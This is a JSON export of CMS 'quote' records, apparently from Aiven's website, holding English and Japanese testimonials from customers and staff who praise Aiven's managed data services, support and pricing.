{"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"14EYn55rl4yf9h0ZjINzs5","_rev":"OFlS64pMvIisdGKtV8zbkr","_type":"quote","_updatedAt":"2022-09-20T13:18:06Z","caseStudy":{"_ref":"8c249cde-32b4-4fa0-ac28-cdcf88250c9b","_type":"reference"},"company":{"_ref":"4FQpR3sYxdH5OsijB9qTsa","_type":"reference"},"content":[{"_key":"c1b3fb83-7e64-4be1-b85a-6959636c8a48","_type":"block","children":[{"_key":"31795a69-4e10-4e27-95c6-f24fc88c6eb6","_type":"span","marks":[],"text":"\"Thanks to the reliability that Aiven provides, we have more confidence in our ability to scale up and serve larger clients\""}],"markDefs":[]}],"image":{"_type":"mainImage","asset":{"_ref":"image-f14445d4989fe634bf721e60ddcef02777aa01d5-180x92-svg","_type":"reference"}},"jobTitle":"Head of Engineering","name":"Muhammad Noor"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"1Fmu90em1wIn9AVxwa2k3h","_rev":"9LEoCS0NKqkxZjwObHWqS1","_type":"quote","_updatedAt":"2022-12-08T09:35:13Z","caseStudy":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"0131f2e9-7c0c-4b44-9318-e92633e72a13","_type":"block","children":[{"_key":"948ef849-725f-45b7-ae77-c222083f57f5","_type":"span","marks":[],"text":"\"With the great help and support from Aiven, we can keep our infrastructure stable, scale our business fast, and keep control of our data.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-7960ba9c363493c5753f414aadf4299d72e969f6-2500x2500-png","_type":"reference"}},"jobTitle":"CTO at Swift Solutions","name":"Alfi Zainuddin"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"1dhQMecfZV47ts2503eCkS","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"d9a3eec4-e866-4279-b1d9-4bf0bad8dc47","_type":"block","children":[{"_key":"242fc83c-4a4b-428a-bae2-addc56e9a064","_type":"span","text":"Working in a team that's willing and capable of taking on the tech giants is a daily motivation boost and feels like a mission in itself."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-144feda00a3074d4e1a82f6a2d492df62044ca67-160x160-png","_type":"reference"}},"jobTitle":"GTM Strategy \u0026 Operations Manager","name":"Tuomas Lounamaa"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"1xuRxKM2Y1KB0EzTwOR4sy","_rev":"z4aw9LO53fWpwEzdXO1R7q","_type":"quote","_updatedAt":"2022-09-27T07:45:45Z","caseStudy":{"_ref":"18f97d4c-90ef-4467-b983-dbb0fa4b2ab8","_type":"reference"},"company":{"_ref":"2620044b-8e56-465a-8884-c8c316df6cc2","_type":"reference"},"content":[{"_key":"99e4c33c-e262-4577-82dd-cda6cb9c7577","_type":"block","children":[{"_key":"b8213d8b-441b-4869-803a-29b9838d0f89","_type":"span","marks":["strong"],"text":"Easy scaling for cost control"}],"markDefs":[],"style":"normal"},{"_key":"3d1f1656-f79c-4d08-a3cb-9fb74eb75f18","_type":"block","children":[{"_key":"text","_type":"span","marks":[],"text":"\"Engineers feel empowered, and they’re more engaged and interested in their work.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241-svg","_type":"reference"}},"jobTitle":"Engineering Manager","name":"Kim Leung"} {"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"1xuRxKM2Y1KB0EzTwOR4sy__i18n_ja","_rev":"Y8XrsvoJ4zglb1hB5E7Tek","_type":"quote","_updatedAt":"2023-01-10T04:11:47Z","caseStudy":{"_ref":"18f97d4c-90ef-4467-b983-dbb0fa4b2ab8","_type":"reference"},"company":{"_ref":"2620044b-8e56-465a-8884-c8c316df6cc2","_type":"reference"},"content":[{"_key":"d9e706310d2f","_type":"block","children":[{"_key":"5b6a771495a80","_type":"span","marks":["strong"],"text":"コスト管理のための容易なスケーリング"}],"markDefs":[],"style":"normal"},{"_key":"9a53c0d912dc","_type":"block","children":[{"_key":"d3286b9a15f70","_type":"span","marks":[],"text":"「エンジニアは力を得たと感じ、仕事への意欲と関心を高めています。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241-svg","_type":"reference"}},"jobTitle":"エンジニアリングマネージャー","name":"Kim Leung氏"} {"__i18n_lang":"en","_createdAt":"2022-07-05T11:43:18Z","_id":"1xzO7FhNJkUw8MVR8CQZH6","_rev":"fuFsKkOoAJwNVpPrIKYbUM","_type":"quote","_updatedAt":"2022-12-07T19:34:42Z","caseStudy":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"1b621812-c582-4fbe-858c-cce37aecbdc3","_type":"block","children":[{"_key":"00214d8a-c34c-4437-985d-89c2a8c6c0cc","_type":"span","marks":[],"text":"\"One of the key enablers for us to compete successfully in the delivery space is the fact that Wolt has been investing heavily in the platform and the technology\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Infrastructure at Wolt","name":"Mikko Peltola"} {"__i18n_lang":"en","_createdAt":"2022-07-05T11:43:18Z","_id":"2552AFNnbYJkAyBwJxFu7E","_rev":"9LEoCS0NKqkxZjwObHWnfl","_type":"quote","_updatedAt":"2022-12-08T09:34:37Z","caseStudy":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"e2f80143-ca7a-455a-a065-9fa285db4394","_type":"block","children":[{"_key":"6b898e1c-e184-458c-9735-67fd0fe80604","_type":"span","marks":[],"text":"\"I am so happy with the level of engineering at Aiven, knowledgeable tech support, tech account managers, and people we meet from Aiven.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125-png","_type":"reference"}},"jobTitle":"DevOps guru at Wolt","name":"Tatiana Koroleva"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2AVWNOC7zFHk0C3Y4EMwE1","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"d4c37163-9978-4736-b1e4-6da7c493330e","_type":"block","children":[{"_key":"48158e2c-d07c-4591-9b4c-30017290bd53","_type":"span","text":"It was basically like an explosion in a spaghetti factory."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371-png","_type":"reference"}},"jobTitle":"Principal Product Manager / Data Platform","name":"Ellen Drommond"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2EiwKgMnphpp3U4oFjZauF","_rev":"PMq0xitQ26NszJZ6mVks1i","_type":"quote","_updatedAt":"2022-09-13T14:36:32Z","company":{"_ref":"798pg8vpkaOTehLq4MG4RD","_type":"reference"},"content":[{"_key":"edae5577-182e-4572-a16f-e4336358dc91","_type":"block","children":[{"_key":"03b1d7dd-79c4-425a-b437-ebb00cab6ba9","_type":"span","marks":[],"text":"\"We really enjoy Aiven’s hands-on customer support. It’s a much better experience than what we’ve seen with other big cloud vendors.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2-800x800-png","_type":"reference"}},"jobTitle":"Technical Expert","name":"Andy Librian"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2iBwlY5I5zLtSnje3iybm3","_rev":"kqzyZ7JVpCO5nNERnMgnlr","_type":"quote","_updatedAt":"2023-06-30T15:52:52Z","content":[{"_key":"15d25b82-4b3f-4377-b1ad-ece40b377f89","_type":"block","children":[{"_key":"ed713aa3-d1de-4e42-97d2-1c675015c34c","_type":"span","text":"I enjoy working at Aiven because everyone here supports and loves the open source technology in our portfolio."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-779e18996baf29db46ceeaae57a91018a33660fe-768x768-jpg","_type":"reference"}},"jobTitle":"Staff Developer Advocate","name":"Floor Drees"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2jy3rhB4RcMWV5uGMAvmyG","_rev":"oP937kX6v07bcvrIPZFHm1","_type":"quote","_updatedAt":"2022-09-17T20:16:16Z","caseStudy":{"_ref":"50bf96fd-60b3-4c2a-8e1d-d1eb75fd4f31","_type":"reference"},"company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"7f4be73d-4942-4640-a7ca-c903cd410d23","_type":"block","children":[{"_key":"07963fd4-3c17-4ef9-9294-876fc7a0209d","_type":"span","marks":["strong"],"text":"Does the work of 2+ full-time engineers"}],"markDefs":[],"style":"normal"},{"_key":"8a343849-1766-4c03-b7d1-0162785ee7dd","_type":"block","children":[{"_key":"text","_type":"span","marks":[],"text":"“The biggest thing is that when we switched to Aiven, we instantly had a more reliable service.”"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_type":"reference"}},"jobTitle":"CTO and Co-founder","name":"Alexey Indeev"} {"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"2jy3rhB4RcMWV5uGMAvmyG__i18n_ja","_rev":"Y8XrsvoJ4zglb1hB5DrBkF","_type":"quote","_updatedAt":"2023-01-10T03:17:42Z","caseStudy":{"_ref":"50bf96fd-60b3-4c2a-8e1d-d1eb75fd4f31","_type":"reference"},"company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"24eac94ae0b0","_type":"block","children":[{"_key":"f5a66aff0cd40","_type":"span","marks":["strong"],"text":"2人以上の専任エンジニアの仕事をこなす"}],"markDefs":[],"style":"normal"},{"_key":"c754ecac7548","_type":"block","children":[{"_key":"71a8bd570e920","_type":"span","marks":[],"text":"「Aivenに切り替えた途端に信頼性の高いサービスになったことが最大のポイントです。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_type":"reference"}},"jobTitle":"CTO兼共同創立者","name":"Alexey Indeev氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2xjck0uIHbE8AWhm10LcFn","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"d17c9c1c-4d0b-4354-a40d-f217535c0609","_type":"block","children":[{"_key":"bac05022-2b2a-49fc-b6f1-96c7adc6ac24","_type":"span","text":"\"Aiven’s pricing helps us forecast costs, as things like network and storage expenses are included.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500-png","_type":"reference"}},"jobTitle":"IT Operations Leader","name":"Vincent Leriche"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2zw6m6fkwjU0Q0SOJKGcdA","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"35518c85-20d4-436a-9fe4-71ec63376613","_type":"block","children":[{"_key":"1d145540-a837-453b-8825-69371a090ec1","_type":"span","text":"For me, the relationship with Aiven is a really strong point. We can make feature \nrequests very easily, like availability monitoring."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-0e8bb56429c18c9719bb431aa9cb5959fd574dc7-294x214-png","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"30Fo7ijwllqOgI3Osztlam","_rev":"c9TjXEWyWBArEQcMlgOOAK","_type":"quote","_updatedAt":"2023-06-20T08:53:44Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"181a7c9d-845e-4cc8-a8d0-3fad35e53688","_type":"block","children":[{"_key":"7bda2a0113a2","_type":"span","marks":[],"text":"\"We were able to deliver databases in the cloud and set the entire transformation process within 2-3 months.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":""},"jobTitle":"Head of Databases","name":"Julien Charlot"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"34iZN95qN5hnh1ETWVBtMU","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"8dc7e3a1-142d-4846-b303-2b6c22a0adb8","_type":"block","children":[{"_key":"878c6a29-a61b-4857-8b62-c399f14da9ce","_type":"span","text":"For MyCujoo, the quality of the service that Aiven provides far exceeds the monetary costs. And the reason we choose Aiven is because these guys are so damn good at what they do."}],"markDefs":[]}],"jobTitle":"Director of Technology","name":"Patrick Plaatje"} {"__i18n_lang":"en","_createdAt":"2024-03-22T16:20:24Z","_id":"37510cca-538d-4b28-8343-240a1189f662","_rev":"FsdEUX6qPquRWP6V14wTXA","_type":"quote","_updatedAt":"2024-03-22T16:20:24Z","company":{"_ref":"fd143138-e6d5-4957-be92-bc996dbaa518","_type":"reference"},"content":[{"_key":"747a7d038e10","_type":"block","children":[{"_key":"119128178de40","_type":"span","marks":[],"text":"“We want to reach as many patients with as many conditions as we can. We need a lot of talent, a lot of technology and a lot of partners to enable us on that journey. Doccla is confident that Aiven will be there for us tomorrow as we scale and as more patient data comes through our platform”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer, Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"3HA9EJzwGAqwgMzmABCVjS__i18n_ja","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"3HA9EJzwGAqwgMzmABCVjS","_rev":"sI1gFaRN7B5HWmjllBaJsb","_type":"quote","_updatedAt":"2022-09-26T19:53:03Z","caseStudy":{"_ref":"d2079e28-672a-437e-98c0-88b9fc32cd90","_type":"reference"},"company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"40e4a737-71de-43e6-bb85-8cc7fdc1fd02","_type":"block","children":[{"_key":"22aa9dad-d69d-4681-b4a5-ae73391dd4b5","_type":"span","marks":[],"text":"\"We’re really, really happy with the approach that we took, and that we chose Aiven as the provider.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_type":"reference"}},"jobTitle":"Lead Software Developer at JobCloud","name":"Nicolas Chiu","ytId":"zUM6sT3SNAM"} {"__i18n_base":{"_ref":"3HA9EJzwGAqwgMzmABCVjS","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"3HA9EJzwGAqwgMzmABCVjS__i18n_ja","_rev":"uLxsw1wzFtwkvaCA8jwRm4","_type":"quote","_updatedAt":"2023-09-18T12:15:21Z","caseStudy":{"_ref":"d2079e28-672a-437e-98c0-88b9fc32cd90","_type":"reference"},"company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"da2d83a41173","_type":"block","children":[{"_key":"0f8886a6953f0","_type":"span","marks":["strong"],"text":"イベント駆動型アーキテクチャの構築"}],"markDefs":[],"style":"normal"},{"_key":"1e743838d209","_type":"block","children":[{"_key":"6ddbd90e9d9b","_type":"span","marks":[],"text":"「私たちのアプローチと、プロバイダーとして Aiven を選んだことに、非常に満足しています。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_type":"reference"}},"jobTitle":"リードソフトウェア開発者","name":"Nicolas Chiu氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3KnhnUpVO2mMZFtiIL08dr","_rev":"8WeirZ6KB9gJqgJfvhkhUr","_type":"quote","_updatedAt":"2022-09-30T13:31:45Z","caseStudy":{"_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"reference"},"company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"a49d3981-7f2b-471f-9742-9789fe7a0c16","_type":"block","children":[{"_key":"7c56d4da-72f1-4017-a8f8-2cd4fa8951c1","_type":"span","marks":[],"text":"\"A high uptime guarantee and good support are critical for our business. Aiven’s pricing also helps us forecast costs, as things like network and storage expenses are included.\""}],"markDefs":[]}],"jobTitle":"IT Operations Leader","name":"Vincent Leriche"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3QRctmhfgw83kWjnq3FSck","_rev":"YI3rks3mbRtnzMpdo0NVOE","_type":"quote","_updatedAt":"2022-11-21T10:34:05Z","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"fcdceda5-040c-48b1-b9d3-02894273a7de","_type":"block","children":[{"_key":"95fb5400-42ee-4a0f-b2eb-1491e3523ca7","_type":"span","marks":[],"text":"\"Using Aiven, security has been just much less of a headache\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000-png","_type":"reference"}},"jobTitle":"Head of Product","name":"Laurens Van Wiele"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3Sy7RDrIVBxXiyRUgoLFiv","_rev":"k8Pq0px2i8BPOfOn9tyUJC","_type":"quote","_updatedAt":"2022-09-13T15:14:21Z","caseStudy":{"_ref":"99f970a3-6f43-4251-8d9b-279e98cd45f8","_type":"reference"},"company":{"_ref":"1aEmXcT3h9R3Vg88M7f2dE","_type":"reference"},"content":[{"_key":"00685856-4b18-430f-bd8c-e12b92804059","_type":"block","children":[{"_key":"a9d868ca-8c43-4d26-89fe-ae58c9843b94","_type":"span","marks":[],"text":"\"Apache Kafka is so important that we had to be sure that the company handling it knows what they’re doing.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Data and CRM at Paf","name":"Robarto Zagni"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3V9U7HAv2q3jr0XH2kYqkg","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"b84c0962-d79c-4eae-9767-ba811d3d9323","_type":"block","children":[{"_key":"6a34b88e-53aa-4352-922b-44ed361ed84a","_type":"span","text":"We are going into the unknown and are doing things that no one has done before. It's a great place if you like challenges!"}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-c75cd12cc608ba877fdf572a15169bf6e4244a8d-500x497-png","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Mathias Fröjdman"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3WVw46HMrKqd8S8klaJNRL","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"0cd53155-d5f8-49dd-8b9c-f30d30e9c251","_type":"block","children":[{"_key":"b3e41aa8-dcee-40bf-9d83-bad597ebf63f","_type":"span","text":"We are very happy with our evolving relationship with Aiven. Kafka helps us build a flexible, extensible, and scalable architecture - and Aiven helps us operate Kafka."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-c42168eac816741161a03152ec40477b4f0c5f1b-596x454-jpg","_type":"reference"}},"jobTitle":"Head of Group Tech Operations","name":"Jon Dodkins"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3ZeGzcXH0Sb52fncfuQD7T","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"5f8e7e97-3902-47fe-8d86-cade90cc85b6","_type":"block","children":[{"_key":"96ae260b-d7dc-4a1e-a7e7-7b86c6ca2c15","_type":"span","text":"Aiven really embodies customer success."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-a77705510fbb8fe00b31ccbf10beaa1315e3a45f-2500x2500-png","_type":"reference"}},"jobTitle":"Engineering Manager at Catalyst","name":"Kim Leung"} {"__i18n_base":{"_ref":"3jhoeW4WtmLGAT0ZFNUpSq","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_ja","_rev":"TN9wNboJQmzNt8mfOPpzgS","_type":"quote","_updatedAt":"2023-09-18T12:15:08Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"0ba6f4e43ce9","_type":"block","children":[{"_key":"48bddaba62ab0","_type":"span","marks":["strong"],"text":"何百ものアプリケーションに対応するセントラルメッセージバス"}],"markDefs":[],"style":"normal"},{"_key":"a33c10c3a244","_type":"block","children":[{"_key":"863aad91e278","_type":"span","marks":[],"text":"「データベースをクラウドで提供し、2〜3ヶ月ですべての変革プロセスを設定することができました。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"jobTitle":"データベース責任者","name":"Julien Charlot氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3pviVub1qvgtuVBg55hLy9","_rev":"4pG2it9AJU1nJxbjoHzGji","_type":"quote","_updatedAt":"2022-09-16T14:43:26Z","company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"7444848c-89d7-4011-b710-dd3d7b1a2fd8","_type":"block","children":[{"_key":"8d319231-e476-4b02-932e-c259cbc485fa","_type":"span","marks":[],"text":"\"I really feel like you guys want to help us out.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_type":"reference"}},"jobTitle":"Lead Software Developer at JobCloud","name":"Nicolas Chiu"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"3yOnW8NLuDVw7l51kkqPje","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"6e7e9a80-45f6-4c44-99ad-34a185f60cc5","_type":"block","children":[{"_key":"c5bd37a0-5ea1-46a1-b1d3-9e2dd8388f3b","_type":"span","text":"Aiven has been founded by very technical people, focusing on the technical solution. It's very clear what we are doing and why."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-14cbd7fe5d4aa9193622f6babf8aa121bcc1a512-160x160-png","_type":"reference"}},"jobTitle":"Principal Engineer","name":"Rauli Ikonen"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"3yPgOzGSohafaU7PJiO4Xa__i18n_de","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"3yPgOzGSohafaU7PJiO4Xa","_rev":"sHbBcT8XxHNdQpuCR9qyS0","_type":"quote","_updatedAt":"2024-08-20T08:06:28Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"c0fac7df689e","_type":"block","children":[{"_key":"ebc65fc033ee0","_type":"span","marks":[],"text":"We needed a solution that wouldn't tie us down, and Aiven's cloud-agnosticism gave us that. If a cloud provider wasn't available in a certain territory, we could simply switch with a click – a major advantage for our business."}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"jobTitle":"Head of Databases","name":"Julien Charlot"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"40doVSoAhEjkvavkYKUc0d","_rev":"QRl2cGoCgj0FlAhkRqgWdy","_type":"quote","_updatedAt":"2022-09-07T19:19:43Z","caseStudy":{"_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"reference"},"company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"d66ccaec-bdcf-4646-a5f9-d6bc0cda8d9b","_type":"block","children":[{"_key":"fe9c2a5b-6149-4e25-8e14-a93a8914c707","_type":"span","marks":[],"text":"\"When our developers start a project, they can do everything themselves. It’s click and create\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500-png","_type":"reference"}},"jobTitle":"IT Operations Leader","name":"Vincent Leriche"} {"__i18n_lang":"en","_createdAt":"2022-07-05T11:43:18Z","_id":"40ucogkq98cnZ5c9nSHFIF","_rev":"WCxK3EcVhP1U4hck0agNbu","_type":"quote","_updatedAt":"2022-12-07T19:34:58Z","caseStudy":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"3f70c715-0b1e-4389-acba-e50acc995072","_type":"block","children":[{"_key":"8ae776c1-422a-4001-b8bb-dfb00f6a8726","_type":"span","marks":[],"text":"\"We’re talking about major savings here.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-e03218464730fdd36ab5fd75527ca2e9e4737436-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Infrastructure at Wolt","name":"Mikko Peltola"} {"__i18n_lang":"en","_createdAt":"2024-02-19T16:22:21Z","_id":"4135930d-4421-457d-8ee3-94b6da080819","_rev":"AhQsd13Ciq0lSu1FlX4ND0","_type":"quote","_updatedAt":"2024-02-19T16:23:43Z","caseStudy":{"_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"reference"},"company":{"_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},"content":[{"_key":"15fc97f741ee","_type":"block","children":[{"_key":"b852ce54d93f","_type":"span","marks":[],"text":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-12c0b77c2bd91058ad005fe10789c116af49c795-140x17-svg","_type":"reference"}},"jobTitle":"Founding Engineer and CTO","name":"Maurice Kherlakian"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4C1eswLG915d3g3LCvm7Gv","_rev":"qkpX9b3U0TpOGFQp9fzSg4","_type":"quote","_updatedAt":"2022-07-06T12:42:10Z","content":[{"_key":"a8e3fcfd-fb8a-46ab-b28b-89e8109144b3","_type":"block","children":[{"_key":"9adf7cf3-3123-4e29-9866-7dbd39eae1cc","_type":"span","text":"“Aiven has been with us from day one. They are the reason we’re even able to offer the Talon.One platform.” "}],"markDefs":[]}],"jobTitle":"Head of Product","name":"Laurens Van Wiele "} {"__i18n_lang":"en","_createdAt":"2022-07-05T11:43:18Z","_id":"4E1rMuEwSM2RXvLfhPB61M","_rev":"qkpX9b3U0TpOGFQp9fzaC8","_type":"quote","_updatedAt":"2022-07-06T12:42:18Z","content":[{"_key":"eb62c320-4c07-45c5-a617-5f8dd09d9dc3","_type":"block","children":[{"_key":"f2bbddec-c6f4-4a01-a382-c1dfc307147d","_type":"span","text":"With Aiven, both the users and Priceline are getting the best results right now and in the future."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542-png","_type":"reference"}},"jobTitle":"Senior Director of Data, Recommendations, Experimentation, and Marketing at Priceline","name":"Sachin Menon"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4GcqQ09ea5VFfCphgV3D1D","_rev":"oP937kX6v07bcvrIPQfMLL","_type":"quote","_updatedAt":"2022-09-16T13:43:06Z","caseStudy":{"_ref":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_type":"reference"},"company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"b720377a-eeee-44bb-9586-33f1c987e0e9","_type":"block","children":[{"_key":"efcb821e-5068-40f7-a0d0-7e65d2191f28","_type":"span","marks":[],"text":"\"We eat our own dogfood.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Technical Operations","name":"Mika Eloranta"} 